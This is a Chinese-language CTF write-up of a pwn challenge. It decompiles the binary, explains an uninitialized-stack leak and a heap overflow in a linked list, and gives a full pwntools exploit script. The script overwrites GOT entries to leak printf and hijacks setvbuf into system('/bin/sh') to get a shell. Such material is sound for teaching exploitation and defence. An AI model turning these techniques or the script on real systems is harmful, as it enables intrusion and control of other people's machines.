这道题目是我的一个SU战队的朋友出的,从比赛当天下午我就开始看这道题,然而到比赛结束前一小时才想到一个真正可解的思路。结果在实现这个思路的时候又踩了两个坑,加上比赛接近尾声人很紧张,最后并没有在比赛现场做出来。比赛结束后跟出题人交流。发现我用的解题思路居然跟出题人的原意不一样,我少挖了一个栈地址泄漏的漏洞。能够泄漏栈地址的话这个题目会变得相当简单,而我没有泄漏栈地址做起来就非常麻烦,毕竟出题人也没想到我会这么做所以并没有为我的做法提供任何友善的帮助和便利。不过现在说这些然并卵。废话不多说,先看一下这道题目吧。
题目分析
这道题目的二进制文件很简单,主要函数只有main函数、game函数、insertsort函数
其中game函数的主要功能输入10个整数,将这10个整数与产生的10个随机数进行比较,返回相同整数的个数。
__int64 game()
{
int v1; // [rsp+4h] [rbp-3Ch]@5
int i; // [rsp+8h] [rbp-38h]@1
unsigned int v3; // [rsp+Ch] [rbp-34h]@1
int v4[12]; // [rsp+10h] [rbp-30h]@2
v3 = 0;
for ( i = 0; i <= 9; ++i )
v4[i] = rand() % 100;
puts("come on,let's play a game!");
for ( i = 0; i <= 9; ++i )
{
printf("this is %d turn\n", (unsigned int)i);
__isoc99_scanf((__int64)"%d", (__int64)&v1);
if ( v4[i] == v1 )
++v3;
}
return v3;
}
insertsort函数是一个插入排序的函数,只不过这个函数的实现是有问题的,正常的插入排序的逻辑为将某个数插入到某一个合适的位置,接着数组中该位置之后的元素整体向后移动一位,最后break调出循环,返回插入的位置。但是这个题目的插入排序的实现没有最后的break,也就是插入的是什么数,最后返回的插入的位置都将是数组的末尾
__int64 __fastcall insertsort(int val)
{
int i; // [rsp+14h] [rbp-Ch]@3
unsigned int j; // [rsp+14h] [rbp-Ch]@6
signed int k; // [rsp+18h] [rbp-8h]@10
int len_arr; // [rsp+1Ch] [rbp-4h]@6
if ( !val )
exit(0);
for ( i = 0; arr[i]; ++i )
;
len_arr = i;
for ( j = 0; arr[j]; ++j )
{
if ( arr[j] == val )
exit(0);
if ( arr[j] < val )
{
for ( k = len_arr; k > (signed int)j; --k )
arr[k] = arr[k - 1];
arr[j] = val;
}
}
if ( j == len_arr )
arr[j] = val;
return j;
}
main函数的主要流程为: 创建一个单向链表,其node形如{node* next | byte data[0x80]} 循环9次,每次循环体如下
{
r=game()
p=insertsort(r)
get pth node in linklist
read(pth_node,p+0x88)
print(pth_node)
}
可以直接看看main函数的反汇编代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *newnode; // ST28_8@2
int match_cnt; // ST10_4@5
int result; // eax@13
__int64 v6; // rbx@13
int idx; // [rsp+4h] [rbp-10Ch]@5
signed int i; // [rsp+8h] [rbp-108h]@1
signed int j; // [rsp+8h] [rbp-108h]@4
int insert_pos; // [rsp+14h] [rbp-FCh]@5
_QWORD *node; // [rsp+18h] [rbp-F8h]@1
_QWORD *p_linhead; // [rsp+18h] [rbp-F8h]@5
_QWORD *linkhead; // [rsp+20h] [rbp-F0h]@1
char buf; // [rsp+60h] [rbp-B0h]@8
__int64 v15; // [rsp+F8h] [rbp-18h]@1
void (__noreturn *retaddr)(int); // [rsp+118h] [rbp+8h]@13
v15 = *MK_FP(__FS__, 40LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
linkhead = malloc(0x88uLL);
node = malloc(0x88uLL);
*linkhead = node;
for ( i = 0; i <= 8; ++i )
{
newnode = malloc(0x88uLL);
*node = newnode;
node = newnode;
}
srand(0x208u);
for ( j = 0; j <= 9; ++j )
{
match_cnt = game();
insert_pos = insertsort(match_cnt);
puts("please input your name!");
p_linhead = (_QWORD *)*linkhead;
idx = 0;
while ( idx != insert_pos )
{
++idx;
p_linhead = (_QWORD *)*p_linhead;
}
if ( j )
{
read(0, p_linhead + 1, (unsigned int)(insert_pos + 0x88));
printf("your name is:%s\n", p_linhead + 1);
}
else
{
read(0, &buf, (unsigned int)(insert_pos + 0x88));
printf("your name is:%s\n", &buf);
memcpy(p_linhead + 1, &buf, insert_pos + 0x88);
memset(&buf, 0, 0x82uLL);
}
}
retaddr = exit;
result = 0;
v6 = *MK_FP(__FS__, 40LL) ^ v15;
return result;
}
漏洞分析
这个题目的漏洞有两个,分别是栈未初始化漏洞和堆溢出漏洞,
栈未初始化漏洞
栈未初始化漏洞存在于main函数的主循环中,当j=0时,程序会向长度为0x98的栈中buf读入0x88字节数据,这里虽然没有溢出,但是由于栈未初始化,栈中buf的值为调用main函数之前调用的函数留下来的一些局部变量、返回地址、调用参数等值,所以我们可以向栈中填充数据到某一内存地址,就可以泄漏出以该内存地址为起点的字符串。幸运的是,我们可以利用这个手段来泄漏栈的地址。
else
{
read(0, &buf, (unsigned int)(insert_pos + 0x88));
printf("your name is:%s\n", &buf);
memcpy(p_linhead + 1, &buf, insert_pos + 0x88);
memset(&buf, 0, 0x82uLL);
}
堆溢出漏洞
题目分析阶段讲过,堆块data数组的大小为0x80,但是在此处却可以写入0x88+insert_pos大小的数据,由于insertsort函数中的插入排序没有break,所以实际上insert_pos的值与j的值相同。
if ( j )
{
read(0, p_linhead + 1, (unsigned int)(insert_pos + 0x88));
printf("your name is:%s\n", p_linhead + 1);
}
漏洞利用
我在做这个题目的时候由于没有发现栈未初始化漏洞,没有办法泄漏栈地址。导致这个题目我做的非常蛋疼,不管怎样,先简单说说出题人的标解的思路吧。
- 利用未初始化的栈漏洞泄漏栈地址
- 利用堆溢出漏洞改写下一个node的next指针为栈中read函数的返回地址-8
- 空跑一次循环,使得得到的node为之前被覆盖的next所指向的read函数的返回地址,通过read修改这个地址即可劫持控制流,并且可以通过read向read返回地址后栈地址写入0x80的ROPGadget,利用ROPGadget即可拿到shell
其实还是挺简单的,不过由于我在比赛时候并没有想到栈未初始化漏洞可以这么用(还是比赛经验不足啊,套路啊套路),所以我并没有泄漏出栈地址。在这里我打算讲讲我的思路,因为我觉得我的做法还是稍微有点技巧性的。
- 利用堆溢出漏洞改写下一个node的next指针为puts_got的地址。
- 空跑一次循环,使得得到的node为之前被覆盖的next所指向的puts_got地址,通过read修改GOT表项中的stack_check_failed函数为”A”8,覆盖printf 一直到 exit函数之前为其本身的plt地址+6,覆盖exit为main函数的地址,这样在接下来的printf由于ld会对printf重新进行dlresolve,所以printf_got的地址会被dl_fixup改写为printf的函数地址,接着printf会将”A”8+printf的地址打印出来,从而泄漏printf的地址,利用这个地址可以计算出system函数的地址以及libc中”/bin/sh\x00”字符串的地址
- 输入10个100,触发程序调用exit,由于exit的地址已经被覆盖为main函数的地址,所以程序会返回main函数,因覆盖next而破坏的链表也将被修复。
- 利用与1 2相同的套路改写GOT以及位于bss上的stdin,将setvbuf的地址覆盖为system的地址,将stdin的地址覆盖为/bin/sh\x00的地址,将printf覆盖为main函数的地址,这样在接下来的printf调用会将控制流劫持回main函数,由于setvbuf的地址已被修改为system的地址,stdin的值已被修改为/bin/sh\x00的地址,所以main函数的第一条语句setvbuf(stdin,0,2,0)则会使程序返回shell。
我这个做法相比标解麻烦了很多,不过现在回过头来看也不是特别难,只是在探索返回shell的方法的时候踩了很多sb坑,犯了不少sb错误,导致做这个题目花了不少时间。
Exploit
from pwn import *;
port=2333
objname = "SU_PWN"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
def attach():
gdb.attach(io, execute="source bp")
def readuntil(delim):
data = io.recvuntil(delim);
print data;
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,1);
print data;
return data;
def write(data):
io.send(str(data));
def writeline(data):
io.sendline(str(data));
def padding(size):
cf = "/bin/shcat/home/ctf/flag";
paddata = "";
for i in range(size):
paddatax += cf[i%len(cf)];
return paddata;
def writearray(arr,e):
for i in range(len(arr)):
if i<e:
writeline(100);
elif i!=len(arr)-1:
writeline(arr[i]);
else:
writeline(arr[i]);
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
payload_arr=[[3,0,37,20,12,3,88,18,56,13],\
[31,93,17,58,6,15,98,33,27,73],\
[84,43,39,45,69,54,99,60,0,92],\
[27,56,92,16,28,5,20,68,23,28],\
[81,6,73,98,65,80,66,15,13,45],\
[88,49,89,79,94,10,33,46,70,86],\
[38,50,42,30,66,70,87,38,39,62],\
[66,72,69,40,71,86,20,89,53,85],\
[34,42,34,75,73,28,85,7,74,56],\
[93,12,58,87,95,24,9,82,63,0],\
[45,81,73,66,21,44,52,41,33,5],\
[26,19,99,12,95,73,41,80,32,67],\
[88,77,32,46,64,27,23,73,61,86],\
[74,58,67,47,76,41,43,80,34,28],\
[38,13,47,37,25,42,62,18,75,46],\
[86,63,23,18,10,87,97,33,13,10],\
[71,87,21,90,34,97,31,29,78,18],\
[57,16,31,4,5,56,99,68,27,74],\
[66,13,37,90,83,99,29,32,84,42],\
[42,7,29,63,50,15,13,33,44,91],\
[51,53,59,82,10,64,91,9,84,18],\
[35,51,83,24,41,66,24,22,50,60],\
[65,44,68,46,60,70,62,73,3,58],\
[16,55,64,75,89,74,39,80,35,24],\
[50,70,27,85,94,20,3,70,42,53],\
[83,7,98,3,6,58,73,68,83,76],\
[78,99,31,42,74,21,16,65,53,51],\
[41,56,73,68,41,20,40,45,42,83],\
[50,25,42,48,28,48,58,1,68,41],\
[78,47,92,61,89,66,34,58,84,88]]
exit_got=0x602078
main=0x40091D
srand_got=0x602048
scanf_got=0x602070
scf_got=0x602020
puts_got=0x602018
ret=0x400BA1
printf_plt=0x400770
writearray(payload_arr[0],0);
write("A"*0x88);
readuntil("your name is:"+"A"*0x88)
writearray(payload_arr[1],1);
write("B"*0x88);
readuntil("B"*0x88);
heapaddr=readuntil("\n")[:-1];
heapaddr+=(8-len(heapaddr))*"\x00";
heapaddr=u64(heapaddr);
print hex(heapaddr)
writearray(payload_arr[2],2)
write("C"*0x88);
readuntil("C"*0x88)
writearray(payload_arr[3],3)
write("D"*0x88)
readuntil("D"*0x88)
writearray(payload_arr[4],4)
write("E"*0x88+p32(puts_got));
readuntil("E"*0x88)
#attach()
writearray(payload_arr[5],5)
write("F"*0x8)
readuntil("F"*0x8)
writearray(payload_arr[6],6)
payload="G"*0x8
payload+=p64(0x400776)
payload+=p64(0x400786)
payload+=p64(0x400796)
payload+=p64(0x4007A6)
payload+=p64(0x4007B6)
payload+=p64(0x4007C6)
payload+=p64(0x4007D6)
payload+=p64(0x4007E6)
payload+=p64(0x4007F6)
payload+=p64(0x400806)
payload+=p64(main)
write(payload)
readuntil("G"*8);
printf=readuntil("\n")[:-1];
printf+=(8-len(printf))*"\x00"
printf=u64(printf)
print hex(printf)
system=printf-(0x54340-0x0000000000E66C9)
system=printf-0xddb0
binsh=printf-(0x54340-0x17C8C3)
print hex(system)
writearray(payload_arr[7],10)
writearray(payload_arr[0],7);
write("A"*0x88+p32(puts_got));
readuntil("A"*0x88)
writearray(payload_arr[1],8);
write("B"*0x90);
readuntil("B"*(0x88+8))
sleep(0.1)
writearray(payload_arr[2],9)
payload=p64(0x400766);
payload+=p64(main)
payload+=p64(0x400786)
payload+=p64(0x400796)
payload+=p64(0x4007A6)
payload+=p64(0x4007B6)
payload+=p64(0x4007C6)
payload+=p64(0x4007d6)
payload+=p64(0x4007E6)
payload+=p64(system)
payload+=p64(0x400806)
payload+=p64(0x400816)
payload+=p64(0x400826)
payload+=(0x6020A0-0x602088)*"\x00"
payload+=p64(binsh)*2
writeline(payload);
io.interactive()
attack()